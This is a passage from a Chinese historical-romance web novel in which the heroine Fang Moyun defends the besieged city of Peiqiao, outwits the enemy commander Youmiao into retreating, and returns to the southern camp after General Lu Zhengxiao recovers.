峑戎大军士气如此高昂，队列严整，铁甲在晨曦中反射出冷冽的光芒，杀意如寒风般直逼城墙而来。
幽戎亲自领军一身乌甲，端坐于一匹漆黑如墨的战马之上，身后的峑戎战旗在风中如怒龙翻卷。
城关之上，茉云站在墙垛后，她紧紧握住手中的剑，目光冷静却严峻，目光缓缓移向那个好似深夜中凝结而成的冷铁之人——幽戎。
他此时眼中泛着肃杀的光芒，眉宇间刻满了不容置疑的冷绝，衣领依旧粗放的散开，胸膛随着呼吸起伏，周身既有野性的不羁，又有王者的霸气，威风凛凛，宛如一场席卷天地的狂风，无人能挡。
而峑戎将士纷纷挺直脊背，握紧手中的武器。幽戎的到来无疑重新点燃了他们心中的战意。他们振臂高呼，声浪一波高过一波，连风都将这份激昂带到了更远的地方。
集益忽然勒马停下，目光转向幽戎。他的动作带着几分试探，仿佛想从幽戎的神情中得到某种回应。而幽戎没有动，也没有任何阻拦的意思。于是，集益策马向前，径直来到阵前，气势汹汹地叫阵起来。
“方茉云！”集益的声音如雷贯耳传遍战场，他冲着城关高声嘲讽，“何必缩头缩尾？卢正啸已死！你是否随他而去？”
这句话像一柄尖锐的长矛，直直地刺向裴桥，陆润吉吃惊的望向茉云。
幽戎的眼神微微一变，一道寒光如电闪过。他虽没有多言，只是稳坐马上，但身旁的将领明显感觉到了一丝骤然加剧的肃杀之气。
而此时，站在城关墙垛后的方茉云，听到集益的话，拳头瞬间攥紧，指甲深深陷入掌心。
“绝不可能！”她朝着关上众人低吼道，声调带着难以掩饰的怒意。
然而，集益冷笑一声继续说道：“卢正啸居然愚蠢到用自己牵制我们峑戎大军，想给你们留条活路。结果？他和你下属小马都被烧死在吉山了！”
顿时茉云心中好似一瞬间从山峰之巅跌入了深渊，老马也吃惊地看向茉云，他说小马跟卢正啸一起被烧死，他们还见到了小马，难道是真的……
集益的语调刻意拉长，带着一丝残忍的得意：“可怜你的大将军啊，最后弥留之际还念着你的名字。今日我等便送你陪他上路如何，方茉云！”
这句话宛如一记雷霆，重重劈在茉云的心头。她瞳孔猛地一缩，整个人脑海瞬间一片空白。顷刻间好似可毁天灭地的痛和怒海翻腾的恨交织着在她心中翻滚，让她眼中瞬间迸射出疯戾的光芒！。
突然，她猛地站起身，身影从墙垛后显现。浑身散发出令人畏惧的杀意，冷冷地注视着幽戎，眼神里只剩下最深的狠戾。
而幽戎目光落在城关上的她时，却愣了半刻，城墙高处她身披铠甲，红色披风在呼啸的风中飞扬，犹如一簇烈焰燃烧在战场之巅。那种冰冷的怒意与凌厉的狠绝，竟让幽戎在这一瞬间生出一种无法言喻的感觉，他的心又在猛烈地跳动。
茉云飞身立在城关之上，目光中皆是寒意与杀气。她声音冷厉而阴鸷地传来：“我在此，叫我何意？是想要阵前主帅单枪匹马的打吗？”
集益闻言脸上浮现一抹轻蔑的笑容，他猛地抬起手中的刀，指向城关上的茉云，声音充满不屑：“就凭你也配……”
然而，他的话还未说完，便被一道低沉而有力的声音打断。
“好。”幽戎的声音不高，却如雷震般穿透了云层，他望向茉云，嘴角似笑非笑的上扬，随即大声喊道：“你出来应战吗？”
幽戎的笑容里带着几分狂放，几分冷峻，更透着毫不掩饰的期待。他目光直直的望向茉云，夹杂着一种独特的挑衅，亦像一场无法拒绝的邀约。
茉云冷冷地与幽戎对视，脑海中滔天的怒火涌动，已经好似完全失了神志，恨不得将他们都碎尸万段，风在城墙上呼啸，战场上的气氛紧绷，可在这一刻，她的眼中已被癫狂的仇恨吞噬。既然故人不等，苍天不念，谁悲我失智失路。
她攥紧拳头，毫不犹豫地要飞身跃下城关，她知道她若拼尽一切，定能与幽戎同归于尽。
然而，还未等她纵身而下，一旁的老马眼疾手快，一把抓住了她的手臂，用尽全力将她拽住。
“你疯了？”老马惶恐而急切的吼道，他亦意识到自己牵制不住，大声朝陆润吉吼：“快拉住她！不能让她下去！”
陆润吉马上上前亦一把拉住茉云，然而，她决意如铁，瞬间就挣脱了老马的束缚，身形已经微微前倾，撒手就准备飞身而下。就在这千钧一发之际，一只信鸽突然从天际掠过，划破长空朝着关卡疾飞而来。
它的翅膀在晨光中闪着光亮，像一道希望的微光。然而，还未等信鸽抵达关卡，远处峑戎军中的一名射手利箭出手，划破长空，将信鸽一箭射落。
茉云却怔住了半刻，她分明看见信鸽坠落的那一瞬间，鸽脚上有一条红绳绑着的信件。那是她与小马的约定——若卢正啸无恙，小马便会用红绳绑住信件，让她从远处一眼便可辨认。她的心亦随着信鸽的坠落而剧烈震荡，原本即将飞身而下的身体也随之停滞。
脑海中暴怒的念头猛然间被喜悦取代，他脱险了！
一瞬间，她仿佛从最黑暗的深渊中被拉回，压在心头的巨石瞬间被掀开，整个人如释重负。她甚至感到喉头发紧，眼眶微微湿润，无法掩饰内心的狂喜和激动……
然而，这种情绪瞬间又被眼前的情形浇醒，她终于缓过神来，视线重新回到眼下的战场——幽戎与峑戎大军虎视眈眈，而自己身处高墙之上，背后有裴桥万民，她顷刻冷静下来，心中迅速权衡着眼前的局势。
她轻轻呼出一口气，她知道他若脱险了，定然会派援军来救，自己一定要用尽一切办法拖延至那一刻……
茉云忽然一跃坐上了城关的墙垛，双腿随意地垂下，冷风拂动她的披风，她居高临下俯瞰着幽戎，嘴角扬起一抹带着讽刺的笑容。
她轻轻叹了一口气，缓缓开口：“集益刚说，卢正啸将死之时，念叨着我的名字？诶……峑戎的国师走了以后，尔等这造谣的水平都掉到这个档次吗？幽戎，你信他会念我的名字，临死对我念念不忘？那家伙怕是念你，都不会念我吧。”
集益被这话怼得一愣，半晌没有反应过来，下意识看向幽戎。幽戎微微挑眉，随即笑出声来，声音爽朗的说：“属实也不太像他能干得出的事。”
茉云抬手随意一指，直指集益，就像两个老朋友在聊天：“我就说你这副将傻吧。”
她的语调带着几分调侃，但眼底透着冰冷的锋芒。
幽戎反倒是笑着说：“可我属实想与你一战。听闻你最近还研习了枪法，何不出来切磋一下？”
茉云轻轻一笑，伸手指向城关：“要不让他们退后一里，你独自进城，我也可一战啊。”
她的话语洒脱随意又带着轻佻，好似千军万马在前，她却丝毫不把峑戎的大军放在眼里。
集益听到这句话，顿时脸色一变，满脸担忧地望向幽戎。然而，幽戎只是看着她，眼中带着几分笑意地平静说道：“我也没这般傻吧。但是——若你肯出来随我走，我也可放过裴桥一城之人的命！”
此话一出，城关内外顿时一片哗然，苏云青亦愣了半刻望向那领头之人，他是这般雄壮威武，但是眼神总却透出了……
裴桥的将士们也纷纷看向幽戎，眼中满是震惊
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或是忿然的不可置信。集益则担忧的看向幽戎，只有他知道幽戎不是在说笑！
茉云却笑出了声，笑意中带着几分嘲讽：“幽戎，少来这一套！就、能不能来点高级点的阴谋诡计？堂堂峑戎主帅怎得如此低级且恶毒？”
幽戎则一脸坦然地看向茉云，他知道茉云心中明白，自己这番众人以为疯癫的话语并不是在戏说。
茉云抬起头笑着，伸手扯出旁边墙垛缝隙长出的野草，刁在了嘴里，眼中满是调侃的指着城中说：“我刚还在和城里的百姓义愤填膺地说，我家破人亡没人要，是个苦命人。你现在就在这儿坏我名声？但无所谓！我幼时，邻家大娘都说我长大了定没人要，如今行情竟这般好了？让你们几句话就将我跟两军的年轻统帅都扯上了关系，这辈子也没白活！”
幽戎听罢不怒反笑，她就是这般与众不同的透彻且不羁。他看着城关上这个披着红披风的身影，风中飞扬的发丝与她的笑容交织成一种独特的洒脱与锋利。
“你当真是厚颜无耻！”此时集益却怒了，他指向茉云，眼中皆是不屑的吼道：“卢正啸怎可和我大帅比？若不是他求得朗川公主相救，他早就成鬼了！不过就是危难时刻靠女人保命的宵小之辈！”
他的话音刚落，峑戎军中顿时响起了一片嘲笑声。
茉云听到此番对正啸的讥讽，眼中寒光一闪，冷笑着大叫一声：“说得好！”
老马他们都愣了一刻望向茉云，她是怎得为敌方阵前叫阵喝彩呢？
“危难时刻靠□□公主保命的贱男人，皆是宵小！”茉云的声音爽朗而锋利，她嘴角微微翘起，继续讽刺道，“试问你家主子是怎么坐上大元帅之位的？”
集益愣了半刻，原本还准备反击的话卡在喉头，茉云周围的裴桥士兵此时更是忍不住大笑，天下谁不知道幽戎是峑戎的大驸马。
茉云并未给集益回击的机会，她将手中把玩的狗尾巴野草，轻轻地咬在嘴里，眉梢一挑，眼中都是不屑和奚落说：“特别是那靠□□公主上位之后，又来威逼其他良家妇女的贱男人，是否更无耻？”
她一字一顿地说道，每个字都充满了刚烈与不屑。
集益的脸色瞬间变得铁青，怒气和羞辱让他的双拳紧握，脸上青筋暴起，幽戎坐在马上，看见茉云立于数千铁骑之前，依旧这般谈笑风生奚落对手的样子，他反倒畅然而疯癫的笑了。
幽戎的笑声如同打破僵局的风暴，回荡在空旷的战场上，带着一股无所畏惧的霸气和轻松。
“你啊，一张利嘴，可任你嘴战如何拖延时间，他都来不及救裴桥了，既然你不愿出来，那我就灭了裴桥，带你走！”幽戎话音刚落，猛然抬起了手，示意全军进攻。
刹那间，峑戎的大军士气高昂，所有峑戎将士的目光都集中在幽戎身上，他的决断就是他们的命令，他们的信念。一瞬间，战鼓擂起，战旗翻动，长戟、重弓、战刀齐齐举起，钢铁般的攻势瞬间铺开，压迫感朝守军卷席过来。
茉云立于关上，双手紧握长剑瞬间拔出，剑锋在阳光下反射出一道寒光。
她的声音透过城墙的阵阵风声，清晰而有力地传到所有人的耳中：“我等势与裴桥共存亡！”
她的每一个字都如此铿锵有力，带着决绝与无畏，话音未落，城内的守军也纷纷激昂起来，士气如同烈火一般熊熊燃烧，每个人心中都燃起了同样的决心，若裴桥生则生，若裴桥灭，我等与方将军同死！
守军顿时皆拔刀怒吼，吼声亦逐渐汇聚成一股磅礴的力量，犹如决堤的洪水，汹涌澎湃，充满了不屈与愤怒。茉云的决绝和无畏，已经化作了裴桥城所有士兵的信念。
这一刻，整个裴桥城弥漫着一种壮烈，生死一线，将领，卫兵和所有守卫者与裴桥已为一体。
222.野兽
峑戎的大军如同一股狂风骤雨席卷而来，势不可挡，士兵们如猛兽出笼，眼冒寒光的地挥动着武器，带着满腔的怒火与杀气，向裴桥城发动了决绝的攻势。
城外的攻城车、投石机齐齐启动，巨石如天降雷霆，轰隆作响地砸向城墙。火炮燃烧的烈焰划破长空，犹如火雨般洒向城头，风中弥漫着浓烈的火药气息。
峑戎将士的嘶吼声、战鼓声、呐喊声交织成一片震天动地的声浪，仿佛整个天地都被他们的残暴所吞噬。幽戎站在战场的中央，冷漠的眼神凝视着裴桥城，眼中闪过一丝淡淡的笑意。
然而，城头之上，茉云挺立在风中脸上没有丝毫畏惧，只有坚如磐石的决心，她拉弓一箭便射下了操持攻城器之人，镇定自若的指挥着箭阵和陆润吉领着的投石队配合攻击，她铸铁般坚定的指挥声传遍了整个城墙，回荡在每一个将士的耳畔，带着一种令人热血沸腾的气势。
围绕她的所有将士们，亦瞬间燃起了无畏的怒火和斗志。面对峑戎大军如潮水般的压境，心中只有一个信念——死守裴桥，绝不让这片土地沦陷。每个人都明白，哪怕与死神擦肩而过，他们不能退缩，不能畏惧。为了守护这座城，为了守护他们的家人，他们必须拼尽全力，将生死抛之脑后。
几个时辰，峑戎军的攻势如潮水般一波接一波，裴桥关好似被战火染红了天际，空气中弥漫着浓重的血腥味。
茉云立在城墙之上，早已疲惫至极，浑身如灌铅，手中的弓染满鲜血，手心布满了深深的血痕。然而，她却始终站着，目光中没有一丝退却，满身血污，依旧像一座无法撼动的雕像。
此时，只有一个信念在支撑着她。她知道，在这南境的另一端，卢正啸一定在等——他在等待着裴桥胜利的信号，亦等着自己活着归去。她不能倒下，也不能退后半步。她要守住裴桥这一方百姓生存的机会，也要守着他的希望……
她扫视了身边那些已显疲态的将士，沙哑的声音顿时怒吼道：“誓与裴桥共存亡！”
她的声音在风中回响，像是一道战神的号令，带动着整个城头的士气，每一个将士眼中都燃起了死志，不顾一切的再一次扛住了敌军的怒潮。。
幽戎此刻望向茉云却疯癫的笑了，这就是他认识的方茉云，她的字典中从无言弃二字。
峑戎的进攻犹如滔天巨浪，裴桥的死守却如铁壁铜墙。这是一场注定惨烈的大战，此时已经不是生死较量，更是一场意志与信念的对抗，一番雄壮与命运的搏斗。
战争在烈焰与鲜血中持续焦灼，幽戎立于战场的中央，手持马鞭，冷眼注视着这一切。他的身影如同一座山岳，巍然不动，目光却始终停留在城墙上那抹红披风的身影上。
他的眼神中透着一种难以名状的情绪，是冷酷的战意，也是深藏的执念。他知道，不论裴桥如何顽抗，终究会寡不敌众，敌不过百倍战 力的轮番进攻。此刻他只要亲自上阵，胜利就在眼前。
而他的目标清晰无比，不仅仅是攻下裴桥，还有他心中最大的执念——带走那个人。
幽戎忽然猛地挥起了战剑，双臂充满了压制一切的力量，他身后的将士们顿时举起了刀枪，整支大军瞬间爆发出震耳欲聋的呐喊，仿佛天地都为之震动。这一刻，所有人峑戎将士都在等待幽戎亲自登上最前线，结束这场即将撕裂一切的战争。
然而，在这股磅礴的气势中，茉云咬紧牙关眼神依旧冷冽，凝视着幽戎，眼中透出一股决然与狠戾。
她顿时抽出了腰间佩剑，仿佛是在对自己说，也是在对幽戎说：“要来便来，就算死，我也不会让你进，更不会跟你走，那便一块下地狱吧。”
然而，就在幽戎催马欲冲向前线的一瞬间，身后传来了一阵急促的马蹄声和呼喊：“急报！军中急报！”
幽戎勒住战马，微微回头，只见传令的骑兵满身尘土，策马狂奔而来。来人居然是二皇子的随从亲信，他脸上满是焦急，翻身下马，跪地抱拳，大声禀报：“大帅，二皇子的紧急军令！”
幽戎眉头微皱，目光冷峻望向他。
传令之人喘息而急切的说道：“二皇子亲自领兵来南境支援，可在半道被来鹿里率领的卢家军围困，现在被困在三十里外的鹰峡谷，请大帅速速班师驰援！”
幽戎的眼中闪过一丝冷光，手中的剑握得更近，整个人陷入阴寒冷冽的沉默。这个消息宛如巨石投入战场的湖面，在所有人心中激起了巨大的波澜。
一旁的副将集益顿时瞪大了眼睛，愤怒地吼道：“为何二皇子此时会来？！他为何不留在边关？”
那传令之人跪伏在地，语气哽咽，几乎带着哭腔哀求道：“大帅，无论如何，二皇子此刻深陷重围，还请大帅赶快班师，救下二皇子！否则后果不堪设想！”
“是谁让二皇子……”集益怒吼道。
幽戎沉默片刻顿时拉住了集益，脸色阴晴不定。他的目光扫过战场，视线最终还是落在城墙上的茉云身上。那抹红色披风依旧在风中猎猎作响。他握紧缰绳眉头紧锁。他的心中战意沸腾，但这突如其来的消息让全军陷入两难。
他知道自己最终定可以拿下裴桥，可是若二皇子出事，后果难以想象，峑戎都城的局势亦将发生聚变，峑戎终将会需要又大汗血脉的继承人，那大皇子将东山再起，此刻他的目光依旧凌厉，思绪飞转，仿佛在权衡着两条截然不同的道路。
营帐中一片死寂，所有将士都屏住了呼吸，等待着幽戎的决策，他的每一个动作，都可能改变接下来的战局。
幽戎的目光如鹰隼般锐利，穿越硝烟与战火，直直望向茉云，风中，她的身影坚定而孤绝，随着他的注视，他好似捕捉到了茉云在烈风中一抹冷笑。
这一刻，茉云站在城关上，嘴角带着一抹冷冽的笑意，如冰冷的利刃，带着狠戾与决绝。
幽戎的心头猛地一震，他看得出那笑容背后深深埋藏的算计与冷酷。是啊，自己怎么忘了，她可不只是个英勇的女将军，自己从见到她第一面，她就像是一个深渊中爬出的恶魔……此刻他心中猛然清醒，却嘴角却微微扯出一抹笑，这又是她的何等诡计？
“我怎么都忘了，你不但疯癫，而且狠戾毒辣。”幽戎仰头只是看着她，
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笑着自言自语道。
此刻，茉云亦认出了来人是峑戎王室的卫队，她的笑容却更加冷冽，犹如阴冷如冰的锋刃，她早已看到了这场战争的每一个可能的结局……
无论幽戎如何抉择，都被孤注一掷的茉云算计了，她望向幽戎冷峻的眼神好似在说：“若此刻你不顾一切的攻城，那么我和裴桥亡了，但峑戎二皇子必死，等待你幽戎的亦是万劫不复，我死你亦不能活，胜负不分！若你此刻走，那便来日再斗！这次，我随你如何选！”
幽戎紧握马鞭，眼中闪过一丝复杂的情绪，他站在战场的中央，默默地凝视着那道身影，忽然仰天大笑，因为他感受着那股在城墙上传来的狠戾气息。
她总能在关键时刻出奇制胜，让自己无法预料，让他恨之入骨又热血澎湃，让他的心根本无法自抑的疯狂悸动。
他癫狂的笑，让周围的将士不禁看向他，却无人敢言语。幽戎握紧了战马的缰绳，那股强烈的欲望在内心疯狂的涌动。他脑中对征服和战胜她的渴望，绝不允许最后的结局是胜负不分！
最终，他的脸上浮现出一丝冷笑，依然如刀般锋利。他猛地一挥马鞭，声音冷冽而决绝：“全军暂退，班师回援！传令各部，速速赶往鹰隘峡！”
他的声音响彻战场，不容半分置疑。随着他的命令，峑戎大军的进攻迅速退下。而城墙上驻守的将士都是丈二和尚摸不着头脑，只有茉云眼中闪过一抹复杂的神色，她望着幽戎远去的背影，深知眼前困境终究是解困了，而等待幽戎又是一场深渊……
她知道，这个男人将如同一次次被疯狂激怒的野兽，他迟早还会再回来，会一次比一次更凶猛，而未来的命运，只有迎来最后的定局才知晓。
“方将军，他们这是？”陆润吉还没有晃过神来说道。
“他们撤退了，卢家军的援军定然是奇袭了峑戎王室中人，他们只能班师去救，幽戎哪怕耽误一刻，都是死！”茉云冷冷的望向峑戎大军远去的背影轻轻说道。
“那就是我们守住了裴桥！”陆润吉顿时激动的大喊道。
茉云淡然的点了一下头，顿时全裴桥发出了震天的欢呼声，接着全城都想起了震耳欲聋的喊声，茉云则沿着城关的墙坐了下来，顿时心中的大石落地，他脱险了……茉云看向苍穹居然能感受到眼眶的微红，平生第一次如此感谢老天的厚待，谢谢你，青岚！
傍晚时刻，老马这才热泪盈眶的捧着那只关外找到的，被他们射下的信鸽，上面俨然是小马的笔记，上面写着：大将军已然救下，药好，头，加油！
“大将军无恙！”老马风尘仆仆而来擦着脸上之泪，风沙和泪水溶成面容上一道道的痕迹，“可这药好是啥涵义啊？”
茉云顷刻间畅然而笑，苏云青都愣了一下看向茉云，好久没有看见她这幅欢颜，他知道此刻的她才是真的欢欣雀跃的笑了……
“这般好笑？”润吉不解的也笑了问道。
“不是，你瞧老马这张花脸！”茉云笑着指着说道。
苏云青看向茉云，眼神中流露出一丝疑问，她欢笑的定然不是此事……
223.向往
此刻夕阳西下，正啸亦终于睁开了沉重的眼睛，好似刚从漫长的黑暗中苏醒过来，空气中弥漫着秋日特有的余温，窗外，夕阳将最后一抹金色洒向大地上，透过窗棂的缝隙，柔和的光辉也映照进屋内。
沧海将军旋即带着众人跪在床前，声音诚恳而直率：“大将军，属下不得不带您走，南营需要您，您不能有闪失。”
他的语气沉重，任谁都知道整个南营的命运都寄托在正啸的身上。千山，万莫他们也跪在一旁，眼中都是担忧。
正啸微微皱了皱眉，支撑的坐起身，他看向跪伏的众将，声音沙哑带着疲惫的说道：“起来吧，我就算此时赶去，已无用，鹿里应该已到了。若是能救裴桥，定然已救了！”
话语中，隐隐透出一股无奈与担忧，他知道此时的局势已经完全不在他的掌控之中，而众人都松了口气。
正啸转过头，凝视着窗外的景象，那温暖的阳光洒在窗棂上，和煦的光芒勾勒出此刻的安宁。他目光望向着那一抹暖阳，为什么他此刻不再慌张，觉得——她和裴桥好似已经脱险了？
是错觉吗？心头这阵模糊的感觉升起，顷刻间所有的焦虑与不安都消散得无影无踪。
正啸的目光转回，落在了起身站在最后的小马身上。小马畏畏缩缩地站着，他本能地感觉到那股沉如山岳的视线望向自己，浑身的寒毛不自觉地竖起，心跳也开始加速。
他微微抬头，正好对上了正啸那双犀利的眼睛，目光交汇的瞬间，小马瞬间跪下，吓得全身都止不住的颤抖：“求……求……大将军恕罪！”
正啸冷然注视着他，语气沉如寒冰：“谁给你的胆子？”
小马几乎想都没想，惊慌失措地回答：“是……是头让我下的。”
沧海将军脸上不由得闪过一丝怒意，这家伙就这般简单和直接的把茉云给卖了，他转过头看向小马，眼中带着几分无奈：“她亲口说让你下药了？”
小马被这突如其来的问题吓了一跳，抬起头看了看沧海，顿时结结巴巴地解释道：“她……她没有明说……但是她将药交给我，她说，如果这次还药不倒卢正啸，她就不信了。”
此话一出，屋内的气氛顿时一滞，所有人的目光都不自觉地聚集在小马身上，沉默半刻后，忽然，整个屋子里的人哄堂大笑，连沧海将军都忍不住无奈的乐了，这也确实是茉云会干的事。
正啸的面色依旧冷峻，但他那凌厉的眼神却透出了一丝温和和无奈，气氛也松弛了几分，他没有再多说什么。
执礼却接过话看向小马道：“你倒真是够胆子，竟拿她的话当真，若她让你去害大将军，你也去吗？”
他的话语中并不严厉，反而却带着调侃。
小马的脸色瞬间低下头去，故作忐忑的说道：“头昔日老是说要带我们去找卢大人算账，可老马一直提醒我们说，此事咱千万不能掺和，你看但凡害大将军的人，哪个不是被她整得死无葬生之地，这天下，她只容得自己一个人害大将军！”
顿时众人又哄堂大笑，好似这些日子以来拉紧的弦在这一刻终于放松了些，哪怕战局依然严峻，每个人心中的悬念还未放下，可终究大家亦相信，茉云定会无恙。
“大将军，我们还是要尽快赶往南营。”沧海将军还是沉稳的望向正啸低声说道。
“嗯，你们退下吧！”
众人都遵命起身离开了屋内，只有千山和万莫在旁守着，正啸孤身一人坐在床上。他的目光再次回到窗外，那暖阳越发柔和，他伸手握在胸前，自己隐隐就是能感觉到，裴桥和茉云……已经脱险了。
此时忽然一只小云雀飞到了枝头，略微急切的在树枝上蹦跶，然后叽叽喳喳的嚷着，片刻后她才安宁下来，在树枝上鸟巢栖息了下来。正啸顷刻间居然轻轻地被逗笑了，千山都愣了半刻看向正啸。
正啸忽然抬头下令道：“传令下去，让鹿里将军先代为驻守裴桥关，方校尉和边参军、陆副参军等人即刻赶回南营！”。
执礼在门外正和沧海商议明早回营之事，听到此愣了半刻，少主是如何这般笃定，裴桥之困已解，但他马上领命说道：“是，属下立即传令下去！”
而此时的幽戎带领峑戎大军骑马疾驰，铁骑卷起漫天黄沙，终于及时赶到关隘，凭借着峑戎军的绝对战力，硬是将被困的二皇子救了出来。
峑戎二王子满脸倦容，却什么也没说，只是忍着伤痛，艰难地点了点头，低声道：“幽戎，多谢了。”
幽戎面无表情地点了点头，神情毫无波澜，集益他们则心中忿忿不平，为何此时二皇子要突然带兵来南境。而二皇子身边的大臣拿出了王令，二皇子是接王令不得不来……而此时，峑戎大汗的旨意又到了，命他们立刻带部回峑戎都城！
他的眼神微微闪烁出一道寒光，他咬紧了牙关，心中复杂的情绪交织着，但他根本无法迟疑，只能即刻命令将士们整队出发，继续往峑戎前进。
身为峑戎的主帅，他亦不得不压抑现在又已经成为遥不可及的念头。可是他依旧很好奇，她是怎么身在裴桥，还能搅动峑戎都城的风云？
与此同时，鹿里则带着精锐的骑兵亦没有恋战，日夜兼程的地赶往裴桥。因为他知道，现在唯一需要关心的，就是裴桥和方茉云。一路披星斩月，鹿里终于带领队伍赶到裴桥城下，远远看到那座坚固的城池依旧屹立不倒。
当他们疾驰到关卡下，抬目望去裴桥已然是满目疮痍，但是裴桥与茉云并无碍，鹿里心中激动得一时不知说什么，长长松了口气。茉云亦看清了鹿里带队来援，立即下令大开城关门，迎他们进城，顿时裴桥上下欢呼雀跃，这代表他们终于化险为夷。
茉云站在城关之上，虽然神色略显疲惫，但气度依旧威严，像一道巍峨的山峰一般，立在鹿里和援军面前。看城墙外的状况，只要是从军之人皆知，这里曾经经历了什么……边鸿远亦咬牙深深吸了口气。
茉云开心的冲下城关，无法掩饰自己内心的激动，朝着鹿里便迎上来：“鹿里将军，你来了。”
鹿里亦下马抱拳开心的看向茉云，心中万千思绪翻涌，长叹一口气：“幸亏你们平安无事，不然我如何跟大将军交代……”
茉云无语的说：“交代什么？你来得正好，我得尽地主之谊好好招待你！”
“你啥时候成这儿地主了？”鹿里亦顷刻无语的笑了说道。
而这一刻，边鸿远走向人群眉头紧锁，看着裴桥的情况，心中不禁深吸了一口气。他目光扫过四周裴桥所经历的苦难，心中只剩下懊悔和愧疚。边鸿远并未过多停留，转身就准备返回军营，然而，此时传来了飞鸽传书的急讯——大将军的军令到了。
军令
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传下，边鸿远的目光微微低垂，他没有跟任何人再交代一句，随即策马而去，一骑绝尘地奔向南营。他心中清楚，他的失误差点导致整个南境的局面被颠覆，这一回，他必须向大将军亲自领罪。
茉云则接过军令，看着上面赫然盖着大将军印，脸上露出一丝不在意的表情，可是她也知道自己只是在拼了命的掩盖自己内心情绪。她知道卢正啸伤得极重……
鹿里将军的则带着无奈的，缓缓开口：“你知道大将军看见边鸿远带着裴桥的大军走了，再听说你带着一百多人来驰援裴桥时，他什么表情吗？我从来没有见过他如此不镇定过。”
茉云自顾自的倒着酒喝着，似乎并不在意，可她亦能想象他当时的惊慌……
鹿里顿了顿，回忆起那一幕：“大将军起身就要亲自带队赶来裴桥，伤口的血瞬间染红了棉布，幸好小马给他下药了，不然沧海肯定带不走他。”
茉云目光微微一闪，她能感受到鹿里话中当时的焦虑，还有正啸的伤势何其重，尽管她没有言语回应，但心中一阵悸动。
鹿里看着她那略显沉默的神情，继续无奈的说道：“大姐啊，你一个军中校尉，带着一百多人来裴桥抗衡峑戎万军，你哪儿来这么大勇气？”
话音一落，四周的气氛微微一顿，陆润吉他们瞬间愣住了，目光集中在茉云身上，一脸不解，校尉？她不是将军吗？
茉云随即轻笑一声，豪气干云地杯中酒一饮而尽说道：“不是说天下兴亡，匹夫有责，再说我本就是南境人！”
陆润吉和军中将士都露出敬佩的神情，哪怕她的职位只是“校尉”，却也丝毫不削弱她身上作为领军将士的威严。
“你什么校尉不校尉！在南营军中，除了大将军，就连元帅怕了你！”鹿里喝着酒调侃茉云道。
老马忍不住摇了摇头，叹了口气转而看向鹿里：“您可不知道，我跟着她一路来，经历了什么！”
鹿里忍不住笑了出来：“我也能想象，来的路上，我看见了那座崩了山，将士们问我这是咋了，我说这还用问，铁定是方茉云干的。”
老马闻言也无奈地笑了笑，只得抿一口苦酒，此行自己魂都吓掉了一半。
茉云亦无语的笑笑，眼神渐渐移向营帐外的苍穹。夜空如同一张黑色的巨网，星星点点，深邃而寂静。她其实也终于意识到，何为真正的战争。与其说自己是守城得胜，还不如说全城侥幸生还。
往日那些伎俩在如此残酷浩大的战争面前，如此渺小。这种一座城的命运沉重压在她肩上的感觉，几乎让人无法呼吸……
战争的残酷，让每一颗心撕裂，每一寸土地血染，每一条生命消逝，而那些世人所追求的一切——那些曾经的名利、荣誉、金钱与输赢，在这个时刻都变得毫无意义。
原来……他那么深沉的气息，那么果决的眼神，那看淡一切的冷漠，是因为他自小直面的便是战争，所以世人争得头破血流之物，他不屑一顾，世人避之不及的苦难，他却从不畏惧！
自己第一眼见到他，便觉得他好似大老鹰……俯瞰于天地，一览众山小，无畏凌峰和深渊。
茉云轻轻地放下酒杯，深吸一口气，望向帐外明月，心中涌动着欲望与冲动，几乎让她恨不得此刻就策马而去，奔向南营……昭昭明月，山河滚烫，是谁予我的这旷世温柔？
224.归来
东方的天际渐渐泛白，曙光破晓，照向了这片辽阔的战场。茉云已骑马而立，脸庞带着未曾消散的倦意，未等苏云青带领裴桥百姓为她送行，马儿一声长啸，耀眼的披风在风中飞舞而起，她已策马飞驰而去。
她马不停蹄地跨越山川河流，疾风似的奔驰在这片曾经燃烧过硝烟的土地上，没有回头，亦不曾停下，一路往南营而去。
她好像能感受到，那里有人，等她归来。
而在南营，正啸终于回到营地，神情疲惫而虚弱。白神医立刻来了营帐，面色严肃地为他探脉。正啸的伤势比他所预料的还要严重，体内的伤口尚未愈合，带伤一路回来，亦未曾好好歇息。
白神医深吸一口气，按捺不住的边当面数落他的莽撞，边忙着给他施针、调理。
就在此时，南营中接到飞鸽传书的信号响起，鹿里发出的信鸽飞入了营帐，瞬间牵动了所有人的心。
执礼接过飞鸽传信便激动的冲入了正啸的营帐，喊道：“少主，鹿里来信，裴桥之战，虽艰难，但茉云带领全城将士与百姓死守，裴桥 无恙，茉云亦无碍。”
听到这个消息，营帐内的顿时喜悦欢呼之情蔓延开来。连元帅也激动得站了起来，情不自禁地说道：“好，好得很，本帅要重重赏裴桥军，重赏茉云等！”
每个人的脸上都露出了喜悦与欣慰。可唯独大将军，他依旧安静地躺在床榻上，神情波澜不惊，可他终于闭上眼睛，任由自己倒入床榻上，心底那股紧绷的情绪终于释然，沉沉的睡了过去。
终于在这一刻，他能安心入睡了，仿佛所有的重担、所有的痛苦与牵挂都在此刻被暂时抛开，心中唯一的感受是——她安然无恙，等自己再醒来之时，她便安然归来了。
这日的清晨，南营被初升的阳光照耀着，带着一丝秋日的寒气，但营地内的演武场上，已是一片热火朝天的景象。参加的新兵早早集合，而精锐们在擂台上挥舞着武器，士气昂扬。最引人注目的，是沧海将军和威行将军正在骑兵习武场中央激烈切磋枪法。
两位将军枪尖如闪电般交错碰撞，沧海将军稳如磐石，枪法老练，威行将军则身形矫捷，尽管威行已尽全力迎击，却还是屡屡落于下风，
威行满脸的汗水和笑意中，早已露出一丝甘拜下风的神情。
刹那间，演武场外的风中传来一阵马蹄声，所有人都不约而同地目光转向那骏马马蹄之声。只见茉云如风驰电掣般，骑马入场。她一袭铠甲，威风凛凛，手中那把锐利的长枪在阳光下闪耀着银光。
随着她的到来，整个南营的气氛瞬间沸腾，这位将军们的挚友，全南营的战斗英雄归营了，所有将士的目光都聚焦在她身上，她的出现好似点燃了整个军营的热情。
茉云畅然而笑，朗声说道：“沧海哥，讨教一下枪法，如何？”
沧海将军见到茉云回归，脸上瞬间堆满笑容，毫不犹豫地答道：“好啊！来！”
茉云双脚一蹬，拔枪而驰，两人迅速进入实战状态。众人皆知军中除了正啸，沧海将军便是南营武艺最精进且勇猛的战将，然而谁也没想到，茉云这一出手，却已灵活百变的枪法与沧海在场中平分秋色。
她的枪法虽然不及沧海刚猛，却多了一分灵气和巧妙，两人过了三十几招都不见谁落下风，此时全营将军和参将都在看着，就连瞭望站岗的士兵都时不时看了过来，元帅更是站在最前，摸着胡须看得目不转睛。
